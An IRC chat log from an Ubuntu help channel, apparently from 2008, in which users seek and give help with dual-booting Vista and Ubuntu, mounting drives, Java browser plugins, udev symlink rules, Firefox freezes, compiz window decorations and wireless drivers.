[18:20] <petrele> icarus-c:hibernating in ubuntu not just like the windows
[18:20] <icarus-c> douye how long have your system been up
[18:20] <petrele> icarus-c: in ubuntu it uses the swap but not a hibernating file, is it?
[18:20] <icarus-c> petrele: i don't know the technical detail tough..
[18:20] <douye> icarus-c: 2hours 31mins, and its a laptop :P
[18:21] <carandraug> icarus-c: and let me guess. You use different filesystems for each partition. ext2 in boot, reiserfs in /var, /ext3 at /home ...
[18:21] <icarus-c> douye what kind of job you do :-o
[18:21] <douye> icarus-c: none, im still a student ;)
[18:21] <petrele> i'm sudent too
[18:21] <douye> icarus-c: need a good lappy tho, as i'm doing a ict education :)
[18:21] <icarus-c> douye: i've never used more swap than 32 MB (except for that one i try to used up all ram:p)
[18:22] <Clo> hello, where i can find "remote desctop server" log file?
[18:22] <c0mp13371331337> I rebooted my computer today after it crashed while installing the Brasero update, and all of a sudden my fonts are HUGE.  I have them set to 8pt, but they're more like 14 or so.
[18:22] <Russian> carandraug, one more question, is it safe to run vista next to buuntu?
[18:22] <Russian> ubuntu*
[18:22] <c0mp13371331337> Plus, compiz seems to be taking over my window decorations.
[18:22] <douye> icarus-c: lol :p i dunno whats using the swap tho :/ is there like.. a command to show it ?
[18:22] <icarus-c> douye: what is ict edu?
[18:22] <douye> russian: do you mean dual boot ?
[18:22] <Kn_> #ubuntu.de
[18:22] <icarus-c> douye: gnome-system-monitor
[18:22] <Russian> douye yes
[18:22] <carandraug> Russian: as long you don't try to install Vista after installing Ubuntu it's ok
[18:23] <douye> russian: yeah its safe to dual boot vista and ubuntu, atleast im doing that (mostly for games..) and i havent got any problems with it
[18:23] <petrele> Russian: if you install a vista after the ubuntu, i can fixed the boot sector by a tool
[18:23] <douye> icarus-c: ict edu.. you know a study in some part of the informatica
[18:24] <icarus-c> douye: i just know CIT : computer and information tech.
[18:24] <Russian> I have vista installed, going to install ubuntu
[18:24] <icarus-c> Russian: that's a good practise
[18:24] <carandraug> Russian: also, be careful when moving around your vista partition in ubuntu. You won't be warned if you try to remove vista files that are important
[18:24] <Russian> hehe
[18:24] <Russian> carandraug k I watch out
[18:24] <thoreauputic> .
[18:24] <shafire> http://www.youtube.com/watch?v=_TiQCJXpbKg <-- haha
[18:24] <Clo> Russian: сделай 2а партишена :) и неипи мозк :)
[18:24] <douye> icarus-c: hmm well, we in the netherlands call it ict mostly :P and its short for informatica.. so far i know (or something xD)
[18:25] <mixed1234> how do I find out the path to my USB hard drive?
[18:25] <icarus-c> douye: well i come from Hong Kong
[18:25] <petrele> Russian: you should not install the grub on the MBS
[18:25]  * icarus-c is about to sleep
[18:25] <Russian> petrele, why not
[18:25] <douye> icarus-c: ah :) guess that explains why.. every country uses different terms
[18:25] <carandraug> mixed1234: is it mounted? Take a look at "df -h". If not, sudo fdisk -l will do the trick
[18:25] <icarus-c> ok i really gotta sleep, 01:25 here
[18:26] <Russian> icarus-c gdnight
[18:26] <icarus-c> bye guys
[18:26] <icarus-c> have fun with your swap Russian  ^^
[18:26] <douye> icarus-c: gn :)
[18:26] <icarus-c> bye douye
[18:26] <Russian> icarus-c hehe tnx should be just fine =)
[18:26] <glue_> hello room, has anyone tried to install Elisa from intrepid repo?
[18:26] <Russian> petrele, why not isntall GRUB on the MBS>
[18:27] <petrele> Russian:the grub can not boot the vista as i know
[18:27] <mixed1234> "/dev/sdc1   *           1        1649    13245561    7  HPFS/NTFS"
[18:27] <losssermannn> holla!
[18:27] <douye> petrele: it can.. atleast when i boot my lappy it says "loading grub menu" then it comes and i can just boot vista :P
[18:27] <node357> yeah you can boot vista with grub
[18:27] <carandraug> mixed1234: that's the path to the device. /dev/sdc1 You can see where it's mounted with "df -h"
[18:27] <Russian> lol
[18:27] <mixed1234> carandraug, ok i guess im half way there, how do i safely unmount "/dev/sdc1" so I can mount force it?
[18:28] <Russian> just install grub on the dev0 then?
[18:28] <carandraug> mixed1234: with the GUI or through the command line?
[18:28] <mixed1234> im using command line
[18:29] <mixed1234> the gui wont let me mount it, i have to force mount it first
[18:29] <petrele> Russian : i didn't make it
[18:29] <carandraug> mixed1234: oh, ok. WHere do you want to mount it?
[18:29] <mixed1234> carandraug, pls let me get a sec, im going to jot down a few things before we attempt to do that
[18:30] <carandraug> mixed1234: ok
[18:30] <petrele> Russian:now i have xp and ubuntu in my computer, and i almost use ubunt only, except the are .docx files
[18:30] <Jowi> First time this popped up in my xterms (all of them): localhost kernel: [191405.960000] journal commit I/O error.... and the USB external disk unmounted itself. What can it mean?
[18:31] <mrglinux> every thing is ok in my lan but I get this error error sendmsg: operation not permitted when ping for example 192.168.0.2 or other machine
[18:31] <Russian> petrele aah k =)
[18:31] <mrglinux> any solution ?
[18:31] <Russian> well tnx all for the help lets do the real work
[18:31] <CommanderCool> Fresh hardy install freezes unless booted with acpi=off, help plz :)
[18:31] <petrele> Russian:ubuntu is great
[18:31] <carandraug> petrele: you can convert them in zamzar. ALso, OOo 3.0 comes with support to open docx files
[18:31] <Jowi> I understand I/O error but is it cause for concern and where can I find out exactly what happened?
[18:32] <petrele> carandraug: i tried, but it doesn't work well
[18:32] <petrele> carandraug: and others are mostly like to used xp
[18:32] <carandraug> petrele: in those I just send the file back and request for a decent file format
[18:33] <mixed1234> carandraug, i want to mount "/dev/sdc1" to a folder in "/media" , should I create the folder in "/media" first?
[18:33] <douye> I know.. it's not a question about ubuntu but should be easy to answer: Is there any way of changing the text colours in Xchat?
[18:33] <petrele> carandraug:but i'm dealing with some teachers
[18:33] <carandraug> mixed1234: that folder should already exists.
[18:33] <petrele> carandraug: i can't do that
[18:33] <mixed1234> carandraug, that folder already exists, yes I want to mount it on a folder inside "/media", for example "/media/disk"
[18:34] <mixed1234> should I create folder "/media/disk" first?
[18:34] <pnem_> halihó
[18:34] <carandraug> petrele: then my teachers give us the files in pdf format. Well, then you don't say it that way. You explain that docx is a new format, not compatible with other office suits and you're unable to open them. And it would be nice of them to convert them to pdf or at least save them as doc files
[18:35] <carandraug> mixed1234: then yes, you need to create the folder first "sudo mkdir /media/disk" mkdir=make directory
[18:35] <CommanderCool> Needing some help with this: fresh hardy install freezes unless booted with acpi=off
[18:35] <carandraug> douye: are you using x-chat or x-chat gnome?

[18:43] <carandraug> petrele: still, they learn. And maybe there's others that won't ask them, and have the same hassle as you. ANyway, most teachers are able to generate pdf files and it's easier even to other windows users who don't use the latest version of microsoft office

[18:44] <petrele> carandraug:thank you. i think this is ok. i planning to drop the xp after i'm familiar with the linux system enough

[18:45] <rajec> what is the easiest way to find out where is some program installed ? From windows I am used to click on desktop link(icon)
[18:45] <carandraug> petrele: you can also, have XP inside a Virtual box if all you want from him that ability. That way you won't need to reboot

[18:45] <cyix> hi, where can I look so I can boot up in console mode only, with the option to boot back into X at a later time?

[18:46] <xxploit> rajec, whereis programname, most are installed in /usr/bin or /usr/bin/local
[18:46] <CommanderCool> xxploit: i'd like to use speed stepping etc as it is a laptop
[18:46] <xxploit> vlad, no itll setup everything
[18:46] <petrele> carandraug:my computer is not powerful enough to run a virtual box inside.
[18:46] <vlad> ah oki thanx
[18:46] <owlchild> has anyone ever duel booted ubuntu and leopard from their pc?
[18:46] <Shout1> anybody here running on a dell d600?
[18:46] <deviantintegral> cheeky: look in all subdirectories as well. though find / locate are probably better for your task
[18:46] <carandraug> CommanderCool: don't know what to do. But just don't repeat I need help, I need help. Write your problem as well and have patience
[18:46] <benbloom> testing
[18:47] <drugo> hello
[18:47] <benbloom> ah. I'm on I see. hello world
[18:47] <xbxb> I just read that the advantage of keeping my /home directory on a separate partition, is that I can re-install another Linux flavor and still keep all the settings and files in the /home directory. My question is: Isn't it possible that some programs use configuration files in both /home/ and /etc/? And when I use my old /home on a new and fresh install with a new /etc, the program might not work, right?
[18:47] <drugo> anyone knows how to change menucolor in gtkrc file?
[18:47] <cheeky> deviantintegral: then grep is not a fined option?
[18:47] <carandraug> benbloom: your script's working
[18:48] <Pici> xbxb: /etc is for system wide configs, user configs go in /home
[18:48] <CommanderCool> this channel sucks. im going home.
[18:48] <reza> NAMES
[18:48] <deviantintegral> cheeky: grep looks *inside* files. find / locate generally look at the file names
[18:48] <xxploit> lol@CommanderCool
[18:48] <carandraug> petrele: not at all? Not even if it's only to do the file conversion?
[18:48] <rajec> what is the easiest way to find out where is some program installed ? From windows I am used to click on desktop link(icon)
[18:49] <benbloom> lol. thanks carandraug
[18:49] <cyix> hi, where can I look so I can boot up in console mode only, with the option to boot back into X at a later time?
[18:49] <magc> hey--i just reinstall windows and now trying to reinstall grub--it's not working

[18:49] <magc> i'm on the livecd
[18:49] <magc> how do i know where to set it up to?
[18:49] <carandraug> xbxb: /etc should be for general settings. If you have that options in /home, they'll override the /etc
[18:50] <cheeky> deviantintegral: So its like cat funtion and ..locate function ..together ?>
[18:50] <shey> Im just curious as to when the linux community started calling modules drivers.
[18:50] <macvr> hi, guys....i was having a GDM error:<server authorization directory (deamon/servauthdir) is set to   /var/lib/gdm but this does not exist.

[18:50] <gaintsura> could someone help me out with this? I disabled compiz to try to install a game last night, and ever since then, I cannot login to gnome, it locks up and I have to restart X, currently in fluxbox, here is a sys log of what happened every time I tried to start in gnome. http://pastie.org/269063
[18:51] <petrele> carandraug:before i do works with a lot of software in xp, i want to find some way to do the jobs in ubuntu instead.
[18:52] <magc> when i'm in grub---where do I set 'root' and 'setup' to?
[18:52] <magc> s/where/what
[18:52] <rajec> what is the easiest way to find out where is some program installed ? From windows I am used to click on desktop link(icon)
[18:52] <Shout1> can anybody help me with driver trouble?
[18:52] <douye> petrele: using linux is anoying with a school that gets windows stuff :< got the same prob here kinda.. just happy I can stay in ubuntu most of the time now
[18:52] <xxploit> rajec, open terminal and type 'whereis <programname>' your installed apps will be setup in your applications menu for you...but most apps can be found in /usr/bin or /usr/bin/local...gnome also has a search tool which can locate a program
[18:52] <carandraug> petrele: oh, ok. I mentioned because you said, convesion from docx ro doc was the reason you still have windows. Anyway, I find the best way to find alternatives in Linux is to completely ditch Windows. That way, you're forced to search and use them instead of just rebooting and do it in Windows

[18:56] <douye> carandraug: doesnt work when you gotta program in C# xD or atleast.. i dont wanna use wine for it :P
[18:56] <petrele> carandraug:that's i talk about. i'm doing my degree paper now. i need a little time now.

[18:59] <carandraug> petrele: I know what you mean. I too waited for some holidays to do it. Doing it during scholl time was a risk too great
[18:59] <turk> shout1: system > administration > synaptic package manager
[18:59] <petrele> carandraug:yes. there is so many people using linux in school.

[19:02] <_Progress_> hi, I use ubuntu 8.04(hardy i guess) 64 bit version. Can someone help me to install java browser plugin. I cant find it in standart 64 bit jre package. <_< ?!?
[19:02] <rajec> MRKENNIE: I've tried several things. I need to know  path to file which is used for running java programs
[19:02] <td123> !java | _Progress_
[19:02] <gaintsura> turk: alright, get mysql-gui tools, that will give you user/database and query administration
[19:02] <douye> petrele: same here.. dont understand them tho as i find linux way better then windows, just hate the internet from my school.. as ubuntu drops it often
[19:02] <carandraug> petrele: in my degree there's no one else using Linux. And most of them didn't even heard about it. But we're getting a little off-topic
[19:02] <MrKennie> rajec: have you installed that package I mentioned? you should be able to find it in synaptics
[19:02] <rajec> td123: I have installed
[19:02] <rajec> there are installed
[19:02] <gaintsura> turk: setup a user (if you haven't already
[19:02] <rapha_k> Hello
[19:02] <rapha_k> he
[19:02] <td123> rajec: did you install the java plugin...
[19:03] <turk> gaintsura: ok i'll try that now
[19:03] <_Progress_> ubottu: i have installed sun-java6-jre but there is no browser plugin in there. <_<
[19:03] <rajec> td123: I have jav installed
[19:03] <P4n[t]3r> _Progress_  version?
[19:03] <MrKennie> rajec: in a terminal type which java
[19:03] <td123> rajec: do "sudo aptitude install sun-java6-plugin"
[19:03] <petrele> douye:yes. i also think so. but linux is a little too hard to ordinary people
[19:03] <rajec> td123 what is plugin for?
[19:03] <petrele> carandraug:a little
[19:04] <td123> rajec: for ff
[19:04] <_Progress_> P4n[t]3r: Version: 6-06-0ubuntu1
[19:04] <douye> petrele: hmm not really tbh, just need to get the hang of it just like windows.. and then in the end it works better and faster
[19:04] <P4n[t]3r> :O
[19:04] <rajec> td123: I dont need ff java plugin I need path to JDK
[19:04] <td123> rajec: what are you talking about? is java working or not?
[19:04] <MrKennie> rajec: in a terminal type "which java" (without quotes)
[19:04] <petrele> carandraug:but this is a proble to solved for linux communite.
[19:04] <carandraug> petrele: it's not hard to ordinary people. It's hard to people used to windows. BUt we shouldn't really thread on this in this channel. #ubuntu-offtopic is better
[19:05] <rapha_k> Hello, I have a little problem with open office: The buttons in the Standard-menue-bar consist of text. How can I cange the settings, so there are symbols instead of text?
[19:05] <petrele> carandraug:yes. the topic is off now.
[19:05] <rajec> MRKENNIE: usr/bin/java
[19:06] <rajec> td123: yes but I need path to JDK!
[19:06] <turk> gaintsura: i installed mysql-gui-common.  how do i bring up the gui?
[19:06] <MrKennie> rajec: there it is :)
[19:06] <petrele> carandraug:there is another question
[19:06] <MrKennie> rajec: right
[19:06] <rajec> MRKENNIE:  java is file
[19:06] <rajec> ?
[19:06] <_Progress_> with apt-file a found the plugin  here ia32-sun-java6-bin
[19:06] <Aidso> hello there people. I am complete beginner to Ubuntu and seem to be stumbling at the first hurdle of getting my wirless internet working on my laptop. It comes and goes after a lot of faffing about but i am thinking something just isnt configured correctly. Could someone assist please?
[19:06] <rajec> MRKENNIE:  i mean /java
[19:06] <_Progress_> is that it?
[19:06] <MrKennie> rajec: if you run java in the terminal you will get a load of help info
[19:06] <carandraug> petrele: fire it. I'll help if I can but I have to leave soon
[19:06] <_Progress_> and what does it mean ia32
[19:06] <node357> means only 32-bit
[19:06] <RoadHazard> thats the 32 bit
[19:07] <gaintsura> turk, you're in a gui already correct? it should be in the main menu
[19:07] <rajec> MRKENNIE:  thing is I am istalling netbeans and I need to set path for application server and it always say that user/bin/java doesnt contain jdk
[19:07] <_Progress_> is that bad :D sorry for stupid question
[19:07] <petrele> carandraug:i installed my ubuntu with the min mode and then the xorg. but the desktop show too slow, does you know where the problem is?
[19:07] <mohshami> hey guys, I've been given the task of migrating one of our offices away from propriety software. I was thinking ubuntu for the desktops, is there a tool for centralized management and updates? Something like WSUS for windows?
[19:07] <RoadHazard> I'm installing the jre right now, have a path for you in a min
[19:07] <MrKennie> rajec: OK< I thought you wanted the path to the java executable itself
[19:07] <petrele> carandraug:it's ok.
[19:08] <turk> gaintsura: i can't find it under applications
[19:08] <RoadHazard> you can do it from the terminal too turk
[19:08] <gaintsura> turk: otherwise, if its not there, you can alt+f2 mysql-admin
[19:09] <gaintsura> RoadHazard: what is the gui mysql-query browser?
[19:09] <gaintsura> I can't remember it
[19:09] <_Progress_> btw i download official self extraction bin of jre and there no plugin too <<
[19:09] <RoadHazard> mysql-admin
[19:09] <carandraug> petrele: probably with your graph card configuration. You shouldn't mess with it right now if you can't risk to spend one day fixing it
[19:09] <gaintsura> theres a mysql-query-browser too that comes with that package
[19:10] <gaintsura> turk: the other is exactly that 'mysql-query-browser.
[19:10] <gaintsura> s/./'.
[19:10] <petrele> carandraug:i checked the log file of the xorg and find nothing is wrong.
[19:10] <MrKennie> rajec: this looks liek a good guide on setting up java http://www.cyberciti.biz/faq/howto-ubuntu-linux-install-configure-jdk-jre/
[19:10] <Sadie> hi, a question related to your naming scheme, who thought up the name "Jaunty Jackalope" and were they actually drunk/stoned/mentally ill at the time?
[19:11] <MrKennie> rajec: I don't have any other experience with java
[19:11] <RoadHazard> sudo apt-get install sun-java6-jdk
[19:11] <petrele> carandraug:it's ok. it can work. i can fix it few days later.
[19:11] <yesssssss> hi
[19:11] <turk> gaintsura: i tried alt+f2 mysql-admin and i got location or could not be found
[19:11] <carandraug> petrele: but some drivers won't give all the power of your graph card. Or maybe it's a completely different issue
[19:11] <gaintsura> turk: mysqladmin maybe?
[19:12] <petrele> carandraug:i'm leaving now.i'm in asia. it's the mid-night. good bye
[19:12] <carandraug> petrele: see ya
[19:12] <petrele> carandraug; see ya
[19:13] <rajec> MrKennie: thank for that! hh I don't why maybe because nick and because that you helped me, but you seem friendly :D
[19:13] <gaintsura> turk: try '/usr/bin/mysql-admin' and '/usr/bin/mysql-query-browser'
[19:13] <turk> gaintsura: hmm..i still can't get a gui.  I can type mysql in the terminal and it brings me to mysql> prompt
[19:13] <MrKennie> rajec: np :)
[19:13] <turk> gaintsura: i'll try that real quick
[19:14] <gaintsura> turk: ok, that will work
[19:14] <acoc> I have two ubuntu based distros in duel boot (ubuntu-8.04 and OzOs) is there a way to change the installed kernel names so they can coexist in the same boot directory
[19:14] <gaintsura> turk: however this is going offtopic... so hang on
[19:14] <obf213> hmm when did we get pulseaudio?
[19:14] <MrKennie> rajec: if you get stuck with using "vi" in that guide let me know, it's pretty simple to use once you know how.
[19:14] <obf213> its so much better than alsa its amazing
[19:14] <Coder7> I've got a weird networking issue on a pair of Ubuntu servers 8.04, and an Ubuntu desktop 8.04....
[19:14] <Sadie> emacs is better
[19:14] <rajec> MrKennie: no problem but at first what is VI ? :D
[19:15] <MrKennie> rajec: a text editor
[19:15] <rajec> MrKennie: ou that thing
[19:15] <gaintsura> MrKennie: in vi how do you delete a line?
[19:15] <rajec> MrKennie: why would I ever need to use it ?:)
[19:15] <MeinLein>  I'm on ubuntu hardy, looking for a replacement for my sonicwall global VPN client.  with the SW client, I just point it at the IP address of the FW/VPN server, and give it a PSK.
[19:15] <Coder7> I'm trying to set up redundant firewalls/gateways, and right now I have the two servers using VLANs
[19:15] <MrKennie> gaintsura: got me there :) I only know that basics of vi, I hate it really.
[19:15] <obf213> please no vim emacs debates
[19:16] <MrKennie> no debate
[19:16] <H0T_R0D> i have a question about wvdial and gnome-ppp i had to http://linmodems.technion.ac.il/packages/ltmodem/11c11040/agrsm_howto.txt to get wvdial working . but, now i have to sudo ln -s /dev/ttyAGS3 /dev/ttySAGR and sudo ln -s /dev/ttyAGS3 /dev/modem to create the symbolic links. how do i make the symbolic links permanent?
[19:16] <Coder7> both servers can ping each other, and the workstation can ping server A and other machines, but can't ping server B
[19:17] <Coder7> the ping packets are making it to server B (confirmed via tcpdump), but server B doesn't respond to them
[19:17] <MrKennie> rajec: if you follow that guide you will see. YOu can always replace sudo vi in that guide with gksudo gedit
[19:17] <Sadie> l/part
[19:17] <gaintsura> MrKennie: you're not the only one
[19:17] <uira> everything good?
[19:17] <Coder7> I'm assuming the cause has something to do with async routes, but I don't know how to make things work
[19:17] <Coder7> any ideas?
[19:20] <H0T_R0D> i have a question about wvdial and gnome-ppp i had to http://linmodems.technion.ac.il/packages/ltmodem/11c11040/agrsm_howto.txt to get wvdial working . but, now i have to sudo ln -s /dev/ttyAGS3 /dev/ttySAGR and sudo ln -s /dev/ttyAGS3 /dev/modem to create the symbolic links. how do i make the symbolic links permanent?

[19:21] <MrKennie> H0T_R0D: you need to create a udev rule
[19:22] <H0T_R0D> i tried that with no luck
[19:22] <H0T_R0D> /etc/udev/rules.d/10-local.rules:KERNEL="ttyAGS[0-9]", NAME="%k", MODE="0660", GROUP="dialout", SYMLINK="modem"

[19:25] <bfanti> hey folks - question, is there a working 64-bit Java browser plugin for Firefox?
[19:25] <bekks> hi
[19:25] <H0T_R0D> KERNEL="ttyAGS3", NAME="%k", MODE="0660", GROUP="dialout", SYMLINK="modem" is what /etc/udev/rules.d/10-local.rules looks like
[19:26] <bfanti> I installed Sun Java 6 but need the plugin, and under "Applications->Add/Remove" the Java 6 Browser Plugin says "doesn't work on amd64 platforms)
[19:26] <huda> hi
[19:26] <H0T_R0D> but i have to make the system links every time i boot...
[19:26] <H0T_R0D> lost on what to do....
[19:26] <MrKennie> H0T_R0D: can you see the symlink or is it jsut not there?
[19:27] <bekks> someone please can clue me on how to sync a nokia 6233 cell phone with evolution via bluetooth? out of the box, a fresh ubuntu install does connect with the phone via the bluetooth panel applet
[19:27] <Rajec> guys its seems that firefox is faster on windows XP that on ubuntu 8.04 have u experience it too?
[19:27] <arnell> All I want is to backup my OS in the event of a catastrophy. I find mixed opinions for which apps actually work reliably with ease of use.
[19:27] <arnell> Is there a reliable, easy to use app for backing up my OS?
[19:27] <H0T_R0D> if i do wvdial b4 i do  sudo ln -s /dev/ttyAGS3 /dev/ttySAGR and sudo ln -s /dev/ttyAGS3 /dev/modem ,, wvdial cant find the modem
[19:28] <bfanti> @Rajec: I use Vista Ultimate 64-bit, but yeah, I agree seems to me that firefox is faster in Windows than Ubuntu :(
[19:28] <xbxb> I got 4 GB of RAM on a Q9550 processor with a HD4850 (hardware acceleration working) and a 640 GB HDD. Is a swap partition of 1.80 GB enough, if I want to run a lot of software on it?
[19:28] <acoc> arnell:sbackup it's in synamptic
[19:28] <Jowi> arnell, several. have a look here:
[19:28] <Jowi> !backup | arnell
[19:29] <arnell> thanks guys I'll check it out.
[19:29] <H0T_R0D> maybe if i put ln -s /dev/ttyAGS3 /dev/ttySAGR and ln -s /dev/ttyAGS3 /dev/modem somewhere ?? maybe it will work...
[19:29] <OsamaK> Hi, is there a way to remove folder's cache? I mean something like "file.txt~"
[19:30] <MrKennie> H0T_R0D: you could but using udev rules is the preferred way
[19:30] <Jowi> arnell, what I have done myself though is simply to set up cron as root to rsync what I want to an external disk. It runs each night when I am sound asleep. It's simple and works fine (for me).
[19:30] <H0T_R0D> let me go try something....lol
[19:31] <BenB> how do I build initrd (to use my own kernel) *without* creating and installing deb packages? I just want the initrd file.
[19:31] <arnell> Jowi: Thanks, I'll look into it.
[19:31] <MrKennie> H0T_R0D: btw, I think you should change SYMLINK= to SYMLINK+=
[19:31] <joshuajtl> hey folks, does anyone else find firefox buggy on hardy?
[19:32] <BenB> joshuajtl: you'll have to define "buggy" much more precisely
[19:32] <MrKennie> H0T_R0D: and KERNEL= to KERNEL==
[19:32] <OsamaK> Ping, any answer, guys? :)
[19:32] <Mc_abyss> joshuajtl- I find firefox buggy on any OS
[19:32] <krauss> Rajec: bfanti: I've noticed as well
[19:32] <mixed12345> hey, how do you find out what flavor of ubuntu youre running??? :-)
[19:32] <krauss> Firefox is moving quite slow.
[19:33] <gaintsura> I disabled compiz and now gnome locks up, something happened with the driver. http://pastie.org/269063 anyone have any ideas?
[19:33] <H0T_R0D> well let me give that a whirl!
[19:33] <Jowi> mixed12345, lsb_release -a
[19:33] <mixed12345> Mc_abyss, it all depends on what feature youre talking about for firefox, if you disable the addons youll be just fine
[19:33] <joshuajtl> BenB: I find firefox freezes often
[19:34] <bfanti> anybody know if there's a 64-bit java browser plugin for firex?
[19:34] <michael__> i would say, it freezes _very_ often
[19:34] <Russian> guys my wireless card is not working in ubuntu x64 which I just installed, the hardware is from Atheros
[19:34] <joshuajtl> is there any good alternative to firefox on gnome?
[19:34] <BenB> joshuajtl: when you do what? it freezes more often than which other firefox?
[19:34] <joshuajtl> opera? perhaps?
[19:34] <Rajec> bfanti, krauss: I fell that in ubuntu is FASTER thatn in windows but maybe because my windows installation is several months old and ubuntu is new
[19:34] <MLoot> joshuajtl: Why would you need something besides firefox?  Memory/speed?
[19:34] <Mc_abyss> mixed12345 - well theres always that but then ive always preferred  Opera doesnt freeze as often
[19:34] <joshuajtl> BenB: more often then on kubuntu
[19:34] <mixed12345> Jowi, ok so I have hardy b ut how doI find out if I have edubuntu, xubuntu, or just plain ubuntu?
[19:34] <cheeky> correct me if iam wrong .. in terminal when i do  a "ls" i see my examples.. my documents and wat not..now if i type "cd /Examples"... says no files or directory ..so ..when i type.. " cd Examples"..i go there.. ..so how come when i do  "cd /" i go to root and see my system files..and i have to "cd /folder (etc)" ..to navigate there..like using the / istead of just typing the filename w/o the /
[19:34] <BenB> joshuajtl: you can install the original firefox from mozilla.com
[19:34] <joshuajtl> MLoot: firefox is unstable for me
[19:34] <gonzaloaf> hi, may laptop freezes sometimes after the screensaver is enabled it doesnt come back, it is freezed now but I'm connected via ssh, how can I find out the reason of the problem_
[19:34] <gonzaloaf> ?
[19:35] <gabry> ciao
[19:35] <gabry> !list
[19:35] <BenB> joshuajtl: hm... which version of kubuntu and ubuntu (and firefox) are you using?
[19:35] <krauss> Rajec: Well besides the speed, i've experienced unexpected shutdowns of Firefox as well, so maybe my judgement is clouded
[19:35] <OsamaK> Is there a way to remove folder's cache? I mean something like "file.txt~"
[19:35] <MLoot> joshuajtl: What versions ?
[19:35] <c0mp13371331337> How would I go about reinstalling all the applications that come with Ubuntu out of the box, without completely wiping my hard drive?
[19:35] <joshuajtl> BenB: hardy on both (recently came back to ubuntu)
[19:35] <joshuajtl> MLoot: latest
[19:36] <Russian> anyone can help me install wireless driver for the laptop?
[19:36] <c0mp13371331337> sudo apt-get install --reinstall ubuntu-desktop only reinstalls the one virtual package.
[19:36] <BenB> joshuajtl: that's indeed strange. can you file a bug report?
[19:36] <joshuajtl> yes next time it happens
[19:37] <BenB> joshuajtl: it would help a lot to describe the circumstances which lead to the freezes (e.g. a particular action you do often right before that)
[19:37] <MLoot> joshuajtl: you've reinstalled?  Does it often crash?  Do you have a lot of plugins?
[19:37] <Russian> ?wireles
[19:37] <Russian> !WIRELESS
[19:37] <Jowi> mixed12345, I haven't run any of those versions so I don't know.
[19:37] <alphabeta> c0mp13371331337: why do you want to do that? if you don't mind me asking
[19:37] <rascal999> does sourceforge have a repository?
[19:37] <BenB> joshuajtl: also, include anything that may differ between the two installation and which may be relevant
[19:37] <mixed12345> jowi, thanks for the input
[19:37] <cheeky> can anyone answer my question?
[19:37] <MLoot> cheeky: repeat the quetion for me... :)
[19:38] <Area_51> !adobe flash
[19:38] <OsamaK> Can someone answer mine too :P
[19:38] <cheeky> MLoot: could i PM you its kinda long lol
[19:38] <BenB> joshuajtl: if you have extensions or plugins installed, first step (before you file a bug) would be to disable them both. if that fixes it, enable them one at a time to find out which causes it.
[19:38] <cheeky> MLoot: if that cool
[19:38] <MLoot> cheeky: go4it
[19:38] <c0mp13371331337> alphabeta: Just getting some weirdness.  Compiz all of a sudden decided to take over my window decorator.  I had a nice metacity window decoration that worked great with compiz, but now compiz overtakes the decorations.  Plus my fonts are HUGE and not the correct font value, despite what my display properties say.  Couple of other weird things too.
[19:39] <joshuajtl> BenB: good idea, I'll disable the One Sidebar thing
[19:39] <BenB> joshuajtl: extensions and plugins are usually the reason why firefox misbehaves. that includes adobe flash.
[19:39] <joshuajtl> oh its not installed
[19:40] <BenB> joshuajtl: URL about:plugins , and menu Tools Addons
[19:40] <BenB> how do I build initrd (to use my own kernel) *without* creating and installing deb packages? I just want the initrd file.
[19:40] <ro_> how do i mount a broken ubuntu install with a live cd of xubuntu
[19:40] <ro_> ?
[19:40] <joshuajtl> gonna try epiphany, and opera
[19:41] <ro_> its on a internal hardrive
[19:41] <gonzaloaf> hi, after a time of inactiviry, the screensaver turns on... then when I move the mouse my laptop freezes and never come back. It is freezed now, but I'm connected from my desktop via ssh, can you help me to find out the reason problem?
[19:41] <crdlb> c0mp13371331337: compiz _always_ takes over your window decorations, as it is your window manager. However, it should be using the 'gtk-window-decorator' by default, which uses metacity's theme. It sounds like it has switched to the 'emerald' decorator
[19:41] <Jowi> cheeky, the single forward slash always mean the root of the disk. However, the forward slash also separates directories. So "cd /" takes you to the root of the disk and "cd /etc" takes you to the first folder named "etc" directly under the root directory. if you begin a cd with / it will always do that.
[19:41] <psp> Does anybody know why with ati drivers 3d things kinda blinks
[19:41] <MrKennie> joshuajtl: there's Midori too :) pretty basic but it uses webkit
[19:42] <Russian> Restricted drivers for atheros doesnt work, can anyone help me please?
[19:42] <c0mp13371331337> alphabeta: I already uninstalled Emerald because I was under that impression as well.  Rebooted about 10 times since, but no change.
[19:43] <Russian> alphabeta I can't get wireless working
[19:43] <owlchild> irc.osx86.hu
[19:43] <c0mp13371331337> alphabeta: Plus Emerald isn't even running.  However, gtk-window-decorator is.
[19:43] <carandraug> psp_: yes. Tried to disable compiz?
[19:43] <psp_> Disabling now....
[19:43] <RoadHazard> metacity --replace
[19:43] <alphabeta> Russian: what adapter do you use?
[19:43] <carandraug> psp_: metacity --replace
[19:44] <OsamaK> Is there a way to remove folder's cache? I mean something like "file.txt~"
[19:44] <Nece228> does there will be difference if i install drivers through restricted manager or envyng
[19:44] <Russian> alphabeta atheros
[19:44] <c0mp13371331337> alphabeta: And when I kill compiz with metacity --replace, I get my lcars decorations back, but the fonts are still HUGE.
[19:44] <crdlb> c0mp13371331337: please take a screenshot and upload it to http://picpaste.com (also, I'm not alphabeta)
[19:44] <psp_> carandraug: thank you.
[19:45] <alphabeta> Russian: what does dmesg say? (don't paste it in the channel)
[19:45] <Nece228> does there will be difference if i install my ati drivers through restricted manager or envyng
[19:45] <carandraug> psp_: once you're done with the 3D stuff, and you want compiz back, run "compiz --replace"
[19:45] <rferreira_> cd /
[19:45] <rferreira_> ops
[19:45] <Russian> alphabeta what is dmesg?
[19:45] <psp_> Another noob queston when I installed wine it doesn't not appared to menu. How do I get it there?
[19:46] <psp_> I know that I can run it from console
[19:46] <alphabeta> Nece228: envy ones are bleeding-edge, with all the pros and cons that come with that
[19:46] <carandraug> psp_: System > Preferences > Main menu It should have a line for himself, near Add/remove
[19:46] <Rajec> krauss: in Windows ?

[19:47] <BenB> can someone help me with building an initrd, please?
[19:47] <carandraug> psp_: also, when getting compiz back, if you do it in a terminal, you can't close the terminal window. Use Alt+F2 to get a "run application" window and enter the command there
[19:47] <krauss> Rajec: Ubuntu
[19:47] <Russian> alphabeta, so I should reboot to ubuntu, and type dmesg in console then copy paste it here?
[19:47] <c0mp13371331337> crdlb: http://picpaste.com/Screenshot_2.png
[19:47] <BenB> even using make-kpkg fails, with "arch/xen/ does not exist" - well, that's correct (I use the latest Linus kernel).

[19:49] <Russian> alphabeta brb
[19:49] <BenB> Rajec: windows is faster.
[19:49] <kdnewton> @Rajec : Locating "preferences" is in "edit/preferences" in Ubuntu vs "tools/preferences" in Windows
